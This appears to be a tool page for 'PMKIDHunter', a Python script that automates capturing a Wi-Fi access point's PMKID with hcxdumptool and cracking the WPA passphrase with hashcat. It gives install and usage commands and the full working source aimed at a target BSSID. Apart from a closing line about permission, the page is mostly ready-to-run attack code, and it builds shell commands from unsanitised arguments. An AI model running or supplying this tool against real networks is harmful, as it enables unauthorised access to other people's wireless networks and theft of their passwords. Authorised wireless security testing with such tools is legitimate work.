A lightweight Python wrapper that automates the full PMKID capture-to-crack workflow using hcxdumptool and hashcat. No client required — just the target BSSID, your interface, and a wordlist.

Requirements

1
sudo apt install hcxdumptool hcxtools hashcat

Usage

1
python3 pmkidhunter.py -i wlan0mon -b AA:BB:CC:DD:EE:FF -w /usr/share/wordlists/rockyou.txt

Source

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
"""
PMKIDHunter — PMKID capture and crack wrapper
TheXero | https://www.thexero.co.uk
"""

import argparse
import subprocess
import tempfile
import os
import sys
import time

def run(cmd, check=True):
    return subprocess.run(cmd, shell=True, check=check)

def capture_pmkid(iface, bssid, outfile, timeout=30):
    print(f"[*] Capturing PMKID from {bssid} on {iface} ({timeout}s timeout)...")
    cmd = (
        f"timeout {timeout} hcxdumptool -i {iface} "
        f"--filterlist_ap={bssid} --filtermode=2 "
        f"-o {outfile} --enable_status=1"
    )
    run(cmd, check=False)

def convert(pcapng, hashfile):
    print(f"[*] Converting capture to hashcat format...")
    run(f"hcxpcapngtool -o {hashfile} {pcapng}")

def crack(hashfile, wordlist):
    print(f"[*] Starting hashcat (mode 22000)...")
    run(f"hashcat -m 22000 {hashfile} {wordlist} --force")

def main():
    parser = argparse.ArgumentParser(description="PMKIDHunter — PMKID capture & crack")
    parser.add_argument("-i", "--iface",    required=True, help="Monitor mode interface")
    parser.add_argument("-b", "--bssid",    required=True, help="Target BSSID")
    parser.add_argument("-w", "--wordlist", required=True, help="Path to wordlist")
    parser.add_argument("-t", "--timeout",  default=30,    type=int, help="Capture timeout (seconds)")
    args = parser.parse_args()

    with tempfile.TemporaryDirectory() as tmp:
        pcapng   = os.path.join(tmp, "capture.pcapng")
        hashfile = os.path.join(tmp, "hashes.txt")

        capture_pmkid(args.iface, args.bssid, pcapng, args.timeout)
        convert(pcapng, hashfile)

        if os.path.exists(hashfile) and os.path.getsize(hashfile) > 0:
            crack(hashfile, args.wordlist)
        else:
            print("[-] No PMKID captured. Try increasing --timeout or moving closer to the AP.")
            sys.exit(1)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] Run as root.")
        sys.exit(1)
    main()

Notes

  • The interface must already be in monitor mode before running
  • PMKID capture works without any connected clients — just proximity to the AP
  • For WPA3 networks with SAE, this technique does not apply
  • Always use on networks you own or have written permission to test

Source available on GitHub.